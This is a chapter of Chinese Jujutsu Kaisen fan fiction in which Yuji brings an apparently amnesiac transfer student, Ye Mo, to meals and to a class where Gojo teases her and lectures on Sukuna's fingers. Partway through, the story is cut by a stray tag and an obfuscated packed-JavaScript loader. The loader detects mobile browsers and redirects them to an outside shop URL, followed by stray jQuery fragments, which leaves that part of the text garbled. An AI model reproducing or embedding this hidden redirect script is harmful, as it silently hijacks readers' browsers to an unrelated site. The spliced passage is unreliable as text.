这绝对是虎杖悠仁这一生中,吃过最诡异的一顿饭。
在场的每一个人他都很熟悉,但...
凑在一起,气氛就是说不出的诡异。
。。。
六人的餐桌被坐得满满当当。
在空旷的食堂大厅里,格外扎眼。
路过的秤学长和星绮学长你侬我侬地晃过来,看到这诡异的架势也虎躯一震。
金毛大个子冲他努努嘴。
虎杖摆摆手,扯出一个难看的笑。
耳边同时传来七海的声音——
“这位同学,就是新来的...插班生?”
虎杖的眼神打着圈儿飘过去,只见问话的男人斯文地擦擦嘴,表情淡淡地看向身边的女孩。
但对话的女主角似乎铁了心不开口。
叶莫只是简单地点点头,又默默往嘴里送了口汤。
餐桌上的氛围再次凝滞下来。
勺子和餐盘的碰触声格外清晰。
......
虎杖见状,连声应道:
“对对对,七海海。她就是。”
少年心里很是焦急,甚至没有留意私下里的昵称脱口而出。
据禅院老师所言,在十年前那场战斗里,大姐姐的脑子受了伤。惨兮兮地失去了记忆和部分语言功能。
这一切,都怪他被宿傩哄骗订立了“契阔”...
虎杖悠仁的大脑不受控地飘到血淋淋的记忆深处,那狰狞可怖的童年往事在眼前一一浮现。
他的脸皱成苦巴巴的一团。猛地晃了晃脑子,试图驱赶走那些噩梦。
抬眼就看到伏黑和钉崎狐疑地对视一眼。
呃...
倒也不奇怪,大姐姐的事,伏黑和钉崎都不知道。
不过七海海他们明明知道,但还...
唉——
有些大人的心思,他曾经不懂,到现在这个年纪,多少也懂了。
只是大姐姐现在的状态...
虎杖苦恼极了,整个人都快要缩到桌子底下,活像个小苦瓜。
他终于听到七海又开口了。
男人似乎不在意女孩刻意疏离的态度。
他手指轻推,一份抹茶蛋糕摇晃着身躯,眨眼间从这边移到了那边。
“入学礼物。”
他淡淡说了一句,若无其事地起身离开。
没有多看桌上任何一个人。
对面的灰原匆忙擦擦嘴,对大家笑了笑,快步追上去。
两个身影消失在拐角。
...
呼——
钉崎这才长舒一口气。
“我的天,怎么回事,吓我一跳。”
“他们不是从来不在食堂吃饭吗?平时上了课就走,忙得压根不见人影。”
女孩夸张地挑眉。
叶莫紧绷肩膀终于塌了下去,耳朵却在偷偷放哨。
她捻起小叉子,轻轻敲了敲蛋糕,抹茶粉簌簌落下。
“是啊,我听说他们最近在国外做任务,怎么突然就回来了。”
海胆头男孩淡淡开口。
“你知道为什么吗?虎杖。”
“我怎么会知道!”
粉毛少年大惊,整个人快要从椅子上跳起来。
钉崎狐疑地看向他。
“你反应这么大干嘛?你不是平日里和七海关系超好吗,就没打听打听?”
叶莫抿了口蛋糕,苦涩醇香的口感瞬间融化在舌尖。
她情不自禁弯弯眉眼。
虎杖讪讪地重新坐下,他摸摸头。
“没...没问,可能有事吧。”
说着,男孩往嘴里塞了一大口饭,试图噎死自己。
成功收获了钉崎嫌弃的眼神。
*
餐后,校园遛弯计划继续进行。
虎杖突然停了下来,他盯着刚收到的消息,又迟疑地看向几人。
“姐呃...叶莫同学。”
他差点咬到舌头。
“禅院老师刚刚通知我,带你去旁听今天下午三年级的课,你去吗?”
上课?
叶莫眼前一亮。
其实逛高专蛮无聊的,她早就能闭着眼睛走了。
而且,在外面晃来晃去还...很容易遇到一些老朋友,那些...她还没想清楚该要怎么面对的人。
更重要的是,她也很好奇现在的高专生都学些什么。
于是她低头打了几个字——
“是谁的课?”
“是禅院老师的。”
“三年级的高级咒具理论,高深得很,听说选的人不多。”
虎杖吐吐舌头。
好耶,安全!
叶莫迫不及待点点头。
然而,当她浑身僵硬地站在门前,脑海里忽然闪过三个大字——
被坑了!
“啊!五条老师?怎么是你啊。”
虎杖悠仁一眼瞥见讲台上的白毛男人,猛地刹住步子,还试图用小身板堵住门框。
“禅院老师呢?”
好心酸啊,虎杖。
叶莫在心中默默流泪。
毫无疑问,一米七几的阻挡是毫无用处的,对一米九的男人来说,轻而易举就能看到被藏在身后的人。
只见白毛教师忽然摆出一副正儿八经的样子,一开口却像胡诌。
“哦——她病了,拜托本麻辣教师前来代课。”
墨镜后的眼神不老实地瞟向垂着头的女孩。
钉崎的眼睛亮了亮,她凑到叶莫耳边低声说:“你运气真好,这位是我们的明星老师。”
运气好个大头鬼。
禅院青空也是,说什么病了?明显是故意要坑她吧?
反正没安好心。
...
就算,昨晚五条悟在极度兴奋下没有留意那些细节。
可今天,六眼已经彻底冷静下来。在那双眼的紧紧注视下,她烂到透顶的演技简直无所遁形。
这是要把她架在火上烤啊。
“愣着干嘛?悠仁?还不快找位置坐下来!”
麻辣教师满脸笑容连声催促,引得教室里的三年级纷纷看过来。
虎杖只好拖着步子,一脸矛盾纠结,往后排走过去。
叶莫眼观鼻鼻观心,试图压缩自己的存在感,跟在虎杖身后溜向座位。
但天不遂人愿。
一条长腿忽然伸了过来,挡住去路。抬眼看去,男人的动作神态,活像个浪荡的登徒子。
“这位同学有点面生啊?”
叶莫:......
她倒要看看,这家伙又在装模作样干什么。
叶莫这才注意到男人的耳朵上也别了个翻译器。
他身上的制服是高专教师款,高领,修身,把好身材包裹得严严实实。此刻歪歪倚在讲台上。
一头白毛也歪着,蓝眸透过墨镜看她,浮夸地开口:
“噢呦!是你啊,我们昨天见过,还记得吗?”
五条悟的神态,像是接受了她失忆这件事。
言语间挑不出错处。
如果她真的失忆了的话,那么,作为一个正常人的反应应该是什么?
叶莫思索了一秒钟,选择礼貌地笑笑,点点头。
很合理。
但五条悟并不打算轻易放过她,他笑盈盈地开口:
“正式认识一下吧,我是五条悟,你可以叫我五条老师。”
......
那张假正经的脸挂着持久的笑,死死盯着她的嘴巴。
...
“嗨呀,留学生不学一点本地语言怎么能行呢?”
男人不依不挠,轻声引诱着:
“来,跟我一起读——Gojo sensei~”
?
神经病啊五条。。
她才不要叫这个混蛋家伙老师!</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273379|196319||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
叶莫在心里抓狂。
身后的伏黑和钉崎对视一眼,对麻辣教师的做派无奈又习以为常。
看着女孩有些古怪的神色,五条悟轻笑一声,抬手敲了敲耳朵后的翻译器,像在对她说——
我知道你能听懂哦~
看着他毫不让步的神色,叶莫泄了气,她扯了扯嘴角,艰难地挤出几个音节。
“Gojo sensei...”
“嗯?”
男人坏心眼地掏掏耳朵,贱兮兮地凑过来。
叶莫憋得脸颊泛红,真想一拳打在他漂亮又气人的脸蛋上。
但她选择深吸一口气,然后——
朝着那只被细碎白发遮盖的耳朵,大声喊道:
“GOJO SENSEI!!!”
洪钟一样的声音在教室里回响,又透过窗子传到外面,连隔壁楼办公室里的禅院青空也惊讶地挑了挑眉。
三年级同学们为之一震。
五条悟眯着眼拍了拍嗡嗡作响的耳朵,一脸终于舒服了的表情。
于是,叶莫终于摆脱无德老师的调戏,她忿忿地在后排空位上落了座。
抬眼看去,教室里的人果然寥寥无几,时不时有几个好奇的眼神飘过来。
前排是一个看着就很桀骜的金发男人,兴致勃勃地回头对虎杖说句什么,叶莫没听清。
他的身边是一个头发半长的少年,雌雄难辨。
“这是秤学长,这是星绮学长。”
虎杖小天使转过头,贴心地为她介绍。
金毛男好奇的眼神看过来,刚要开口。
“叮叮咚咚——”
悠扬的上课钟声响起。
...
讲台上的男人敲了敲黑板,写下龙飞凤舞的两个大字——
咒-物。
“今天我们来讲咒物。”
“尽管在这个时代,这种存在已经越来越稀少,不过还有少数诅咒师会制作咒物。”
他的眼神扫视了一圈,抛出一个问题。
“有人知道,至今最强大的特级咒物是什么吗?”
。。。
没人应答。
虎杖忽然捂住脸,似乎预料到了什么。
麻辣教师却笑眯眯自己揭晓了答案。
“没错,就是两面宿傩的手指!”
他朝大家晃了晃自己的十根手指。
“这种咒物一共有20根,曾经分散霓虹各地,而且,就连最强大的咒力都不能将它彻底毁坏。”
“当20根被集齐,两面宿傩就会复活。”
叶莫闻言,心头一凛。
五条悟...在这时候讲这些是想干什么???
台下的学生却被勾起了兴趣。
就连伏黑和钉崎也竖起了耳朵,这些事情,他们还没有听过。
“就连老师您的咒力也不能摧毁吗?”一个三年级男孩嬉笑着问。
“不行哦。”
男人摇了摇头,神色稍稍郑重了一些。
紧接着,他扔出一句石破天惊的话。
“但是啊,十年前有一个人,在一场战斗中连续摧毁了19根宿傩手指。”
“啊???”
“真的假的?”
“这么厉害!!?”
“是谁哇?五条老师。”
男人笑了笑,有些得意地宣布。
“那个成功除掉了宿傩的手指的家伙啊,就是‘莫莫酱’的原主。”
“我的学妹。”
说着,墨镜后那双眼睛死死钉在后排女孩身上。
叶莫状若无感,眨眨眼,一脸无知地看过去。
背地里,她的脚趾却在拼命抓地。
。。。
好尴尬...
这种感觉该怎么描述?
就像在熟人面前,听别人细数你有多牛逼,偏偏还得装出一副事不关己的样子——
又爽又难受。